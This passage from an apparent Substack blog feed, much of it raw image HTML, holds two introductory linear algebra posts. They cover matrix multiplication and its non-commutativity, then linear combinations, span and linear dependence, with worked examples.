srcset="https://substackcdn.com/image/fetch/$s_!MTnu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0d2cde5-5020-4ac7-87f7-f4938773960b_833x422.png 424w, https://substackcdn.com/image/fetch/$s_!MTnu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0d2cde5-5020-4ac7-87f7-f4938773960b_833x422.png 848w, https://substackcdn.com/image/fetch/$s_!MTnu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0d2cde5-5020-4ac7-87f7-f4938773960b_833x422.png 1272w, https://substackcdn.com/image/fetch/$s_!MTnu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0d2cde5-5020-4ac7-87f7-f4938773960b_833x422.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!MTnu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0d2cde5-5020-4ac7-87f7-f4938773960b_833x422.png" width="833" height="422" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e0d2cde5-5020-4ac7-87f7-f4938773960b_833x422.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:422,&quot;width&quot;:833,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:32396,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!MTnu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0d2cde5-5020-4ac7-87f7-f4938773960b_833x422.png 424w, https://substackcdn.com/image/fetch/$s_!MTnu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0d2cde5-5020-4ac7-87f7-f4938773960b_833x422.png 848w, https://substackcdn.com/image/fetch/$s_!MTnu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0d2cde5-5020-4ac7-87f7-f4938773960b_833x422.png 1272w, https://substackcdn.com/image/fetch/$s_!MTnu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe0d2cde5-5020-4ac7-87f7-f4938773960b_833x422.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Xwg5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7411356b-ad95-4bf6-bc4a-01ab16027925_833x422.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Xwg5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7411356b-ad95-4bf6-bc4a-01ab16027925_833x422.png 424w, https://substackcdn.com/image/fetch/$s_!Xwg5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7411356b-ad95-4bf6-bc4a-01ab16027925_833x422.png 848w, https://substackcdn.com/image/fetch/$s_!Xwg5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7411356b-ad95-4bf6-bc4a-01ab16027925_833x422.png 1272w, https://substackcdn.com/image/fetch/$s_!Xwg5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7411356b-ad95-4bf6-bc4a-01ab16027925_833x422.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Xwg5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7411356b-ad95-4bf6-bc4a-01ab16027925_833x422.png" width="833" height="422" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7411356b-ad95-4bf6-bc4a-01ab16027925_833x422.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:422,&quot;width&quot;:833,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:32538,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Xwg5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7411356b-ad95-4bf6-bc4a-01ab16027925_833x422.png 424w, https://substackcdn.com/image/fetch/$s_!Xwg5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7411356b-ad95-4bf6-bc4a-01ab16027925_833x422.png 848w, https://substackcdn.com/image/fetch/$s_!Xwg5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7411356b-ad95-4bf6-bc4a-01ab16027925_833x422.png 1272w, https://substackcdn.com/image/fetch/$s_!Xwg5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7411356b-ad95-4bf6-bc4a-01ab16027925_833x422.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!eq68!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f96b65b-42a4-417c-a848-f70aae54db75_858x422.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eq68!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f96b65b-42a4-417c-a848-f70aae54db75_858x422.png 424w, https://substackcdn.com/image/fetch/$s_!eq68!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f96b65b-42a4-417c-a848-f70aae54db75_858x422.png 848w, https://substackcdn.com/image/fetch/$s_!eq68!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f96b65b-42a4-417c-a848-f70aae54db75_858x422.png 1272w, https://substackcdn.com/image/fetch/$s_!eq68!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f96b65b-42a4-417c-a848-f70aae54db75_858x422.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!eq68!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f96b65b-42a4-417c-a848-f70aae54db75_858x422.png" width="858" height="422" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3f96b65b-42a4-417c-a848-f70aae54db75_858x422.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:422,&quot;width&quot;:858,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:32654,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!eq68!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f96b65b-42a4-417c-a848-f70aae54db75_858x422.png 424w, https://substackcdn.com/image/fetch/$s_!eq68!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f96b65b-42a4-417c-a848-f70aae54db75_858x422.png 848w, https://substackcdn.com/image/fetch/$s_!eq68!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f96b65b-42a4-417c-a848-f70aae54db75_858x422.png 1272w, https://substackcdn.com/image/fetch/$s_!eq68!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3f96b65b-42a4-417c-a848-f70aae54db75_858x422.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>These illustrations demonstrate the <strong>first row </strong>and the <strong>first column (C</strong><em><strong>ij):</strong></em></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;c_{11} = 1 \\times 9 + 2 \\times 6 + 3 \\times 3 = 9 + 12 + 9 = 30\n&quot;,&quot;id&quot;:&quot;ERIUSSAHKB&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>If <em>A</em> is an <em>n</em>&#215;<em>m</em> matrix and <em>B</em> is an <em>m&#215;p</em> matrix, their matrix product <em>AB</em> will be an <em>n</em>&#215;<em>p</em>matrix. The way this product is calculated is as follows:</p><ul><li><p>Each entry in the resulting matrix <em>AB</em> is obtained by taking the corresponding row from matrix <em>A</em> and the corresponding column from matrix <em>B</em>.</p></li><li><p>Specifically, you multiply each of the <em>m</em> elements in a row of <em>A</em> with the corresponding <em>m</em> elements in a column of <em>B</em>, and then sum these products. This sum becomes an entry in the matrix <em>AB</em>.</p></li></ul><h3>Example:</h3><p>If <em>A</em> is 2&#215;3 (2 rows, 3 columns) and <em>B</em> is 3&#215;2 (3 rows, 2 columns), their product <em>AB</em> will be a 2&#215;2 matrix.</p><h3>Connection to Linear Transformations:</h3><p>When matrices represent linear transformations (functions that map vectors to other vectors in a linear fashion), the matrix product <em>AB</em> represents the composition of these transformations. This means applying the transformation represented by <em>B </em>first, followed by the transformation represented by <em>A</em>. The resulting transformation is described by the matrix <em>AB</em>.</p><p>In essence, matrix multiplication corresponds to performing one transformation after another.</p><p></p><h1>Non-Commutativity of Matrix Multiplication</h1><p>An important observation in matrix algebra is that, in general, matrix multiplication is <strong>not commutative</strong>. This means that for two matrices <em>A </em>and <em>B</em>, the product <em>A&#215;B</em> does not necessarily equal <em>B&#215;A</em>.</p><p>For example, consider matrices <em>A</em> and <em>B</em> as follows:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;A = \\begin{pmatrix}\n3 &amp; 1 &amp; 2 \\\\\n-5 &amp; 4 &amp; 1 \\\\\n0 &amp; 3 &amp; -8\n\\end{pmatrix},\\\n\nB = \\begin{pmatrix}\n0 &amp; 5 &amp; -1 \\\\\n3 &amp; 2 &amp; -1 \\\\\n10 &amp; 0.5 &amp; 4\n\\end{pmatrix}&quot;,&quot;id&quot;:&quot;NWPBQOGHMU&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>When <em>C=A&#215;B</em> element c23 in the resulting matrix is:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;c_{23}^{(A \\times B)} = (-5 \\times -1) + (4 \\times -1) + (1 \\times 4) = 5&quot;,&quot;id&quot;:&quot;DTPBTZQUBD&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>However, if the multiplication is reversed, <em>C=B&#215;A</em>, the element becomes:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;c_{23}^{(B \\times A)} = (3 \\times 2) + (2 \\times 1) + (-1 \\times -8) = 16&quot;,&quot;id&quot;:&quot;TVTAVZMYAY&quot;}" data-component-name="LatexBlockToDOM"></div><p>So, clearly</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;c_{23}^{(A \\times B)}   \\neq\\   c_{23}^{(B \\times A)}&quot;,&quot;id&quot;:&quot;DKKJLNEGYE&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Which means <em>A</em> x <em>B</em> &#8800; <em>B </em>= <em>A.</em></p><p>This demonstrates that matrix multiplication is <strong>not commutative</strong>. This contrasts with scalar multiplication, where the order of multiplication does not affect the result. This non-commutativity is a fundamental characteristic of matrix operations.</p>]]></content:encoded></item><item><title><![CDATA[Linear Combination]]></title><description><![CDATA[Span and Basis Vectors, and linear (in)dependence.]]></description><link>https://www.emdeh.com/p/linear-combination</link><guid isPermaLink="false">https://www.emdeh.com/p/linear-combination</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Mon, 19 Aug 2024 22:13:49 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!4PW4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafab105b-f6d2-4930-8c77-b4d32b7cdb21_906x891.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>The &#8220;simple&#8221; definition of a <strong>linear combination </strong>is multiplying a scalar by a variable and adding those terms.</p><p>If <em>x, y, </em>and <em>z</em> are variables, and <em>a</em>1&#8203;, a2, <em>and a3 </em>are scalars, then the following equation will be a linear combination.</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;v = a_1 x + a_2 y + a_3 z&quot;,&quot;id&quot;:&quot;VPNLZQVMAH&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>If the variables are <em>vectors</em>, then the linear combination of a scalar by a vector will be a new vector:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{v} = a_1 \\vec{x} + a_2 \\vec{y} + a_3 \\vec{z}&quot;,&quot;id&quot;:&quot;OYVEZACZQB&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>The general notation of a vector by a scalar linear combination will be:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot; \\sum\\frac{n}{1}\\ a_i \\vec{v}_i &quot;,&quot;id&quot;:&quot;SGWIKDMIHP&quot;}" data-component-name="LatexBlockToDOM"></div><h1>What is Span</h1><p>The <strong>span</strong> of a set of vectors is the set of all possible <strong>linear</strong> <strong>combinations</strong> of those vectors.</p><p>Mathematically, the span of the set of vectors is written as:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;Sp(\\vec{v}_1,\\vec{v}_2,...\\vec{v}_n)&quot;,&quot;id&quot;:&quot;YMKMZVGFKQ&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>This represents all possible vectors that can be formed by taking linear combinations of the vectors with real scalars.</p><p>In the case of two vectors in 2-dimensional space, if the vectors are not linearly dependent (i.e., they do not lie on the same line), their span will be the entire 2-dimensional space, meaning they can reach any point in that space. However, if the vectors are linearly dependent (i.e., they lie on the same line), their span is limited to all vectors along that line.</p><p>For example, the following three vectors would span the entire <strong>R3</strong> space (the 3-dimensional vector space over the field of real numbers) because they are <strong>linearly independent</strong>. This means that no vector in the set can be expressed as a linear combination of the others, and together, they can represent any vector in <strong>R3</strong></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{v}_1 = \\begin{pmatrix}1 \\\\0 \\\\0\\end{pmatrix},\n\n\\vec{v}_2 = \\begin{pmatrix}0 \\\\1 \\\\0\\end{pmatrix},\n\n\\vec{v}_3 = \\begin{pmatrix}0 \\\\0 \\\\1\\end{pmatrix}&quot;,&quot;id&quot;:&quot;NQLNXDIHSC&quot;}" data-component-name="LatexBlockToDOM"></div><h2>Span and 3-dimensional space</h2><p>The concept of <strong>span </strong>is more interesting in 3D space. Take two vectors that are not pointing in the same direction. <em><strong>What does it mean to take their span?</strong></em></p><p>In this case, the span of the two vectors is the set of all possible linear combinations of these vectors. Geometrically, this means that the span of these two vectors forms a plane in 3D space. Every vector (or point<a class="footnote-anchor" data-component-name="FootnoteAnchorToDOM" id="footnote-anchor-1" href="#footnote-1" target="_self">1</a>) on this plane can be represented as a linear combination of the two original vectors.</p><p>Now, consider three vectors that are not all lying in the same plane. What happens when you take their span?</p><p>A linear combination of three vectors is essentially the same as it is in 2-dimensional space:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;a \\vec{v} + b \\vec{w} + c\\vec{u}&quot;,&quot;id&quot;:&quot;XSJRIBYMFW&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>In 3D space, the span of three linearly independent vectors (that do not lie in the same plane) is the entire 3-dimensional space. This means that any vector/point in the space can be expressed as a linear combination of the three vectors.</p><p>So, the span of the vectors <em>v, w, </em>and <em>u</em> is the set of all possible vectors you can create by varying the scalars <em>a, b, </em>and <em>c</em> in the linear combination above. When these three vectors are linearly independent, their span covers all of 3D space.</p><h1><strong>Linear dependence</strong></h1><p>When a set of vectors is said to be <strong>linearly</strong> <strong>dependent</strong>, it means that at least one of the vectors in the set can be expressed as a <strong>linear</strong> <strong>combination</strong> of the others. In other words, some vectors in the set are redundant because they <strong>do not add any new direction (or span)</strong> to the vector space that the other vectors already cover.</p><div class="pullquote"><p>Linearly dependent vectors do not contribute to increasing the span of the vector space.</p></div><p>In <em>n</em>-dimensional space, if a set of vectors is linearly dependent, the span of these vectors does not cover any additional directions beyond what is already covered by a subset of these vectors. Consequently, t<strong>he set does not form a basis for the vector space</strong>, as a basis requires all vectors to be linearly independent, ensuring that they span the entire space without redundancy.</p><p>For example, take the following two vectors:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{v}_2 = \\begin{pmatrix}2 \\\\2 \\\\2\\end{pmatrix}&quot;,&quot;id&quot;:&quot;HCIQGQWEUI&quot;}" data-component-name="LatexBlockToDOM"></div><p>and:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\n\\vec{v}_3 = \\begin{pmatrix}8 \\\\8 \\\\8\\end{pmatrix}&quot;,&quot;id&quot;:&quot;UKVSBNZYTC&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>These represent a linearly <strong>dependent</strong> set. Notice that each component of <em>v2 </em>is precisely one-fourth of the corresponding elements of <em>v3.</em></p><p>Specifically:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\vec{v}_3 = 4 \\times \\vec{v}_2&quot;,&quot;id&quot;:&quot;AJWAZOPIII&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>This means <em>v3 </em>is simply a scaled version of <em>v2. </em>They are not independent because <em>v3</em> can be written as a scalar multiple of <em>v2</em>. In other words, <em>v2 </em>and <em>v3 </em>lie along the same line in 3D space but at different magnitudes.</p><p>Visualising this concept in 3-dimensional space can be challenging. Consider a graphical representation with just two components in each vector for simplicity. As shown, the span of one vector is entirely encompassed by the other.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4PW4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafab105b-f6d2-4930-8c77-b4d32b7cdb21_906x891.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4PW4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafab105b-f6d2-4930-8c77-b4d32b7cdb21_906x891.png 424w, https://substackcdn.com/image/fetch/$s_!4PW4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafab105b-f6d2-4930-8c77-b4d32b7cdb21_906x891.png 848w, https://substackcdn.com/image/fetch/$s_!4PW4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafab105b-f6d2-4930-8c77-b4d32b7cdb21_906x891.png 1272w, https://substackcdn.com/image/fetch/$s_!4PW4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafab105b-f6d2-4930-8c77-b4d32b7cdb21_906x891.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4PW4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafab105b-f6d2-4930-8c77-b4d32b7cdb21_906x891.png" width="906" height="891" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/afab105b-f6d2-4930-8c77-b4d32b7cdb21_906x891.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:891,&quot;width&quot;:906,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:56887,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4PW4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafab105b-f6d2-4930-8c77-b4d32b7cdb21_906x891.png 424w, https://substackcdn.com/image/fetch/$s_!4PW4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafab105b-f6d2-4930-8c77-b4d32b7cdb21_906x891.png 848w, https://substackcdn.com/image/fetch/$s_!4PW4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafab105b-f6d2-4930-8c77-b4d32b7cdb21_906x891.png 1272w, https://substackcdn.com/image/fetch/$s_!4PW4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafab105b-f6d2-4930-8c77-b4d32b7cdb21_906x891.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 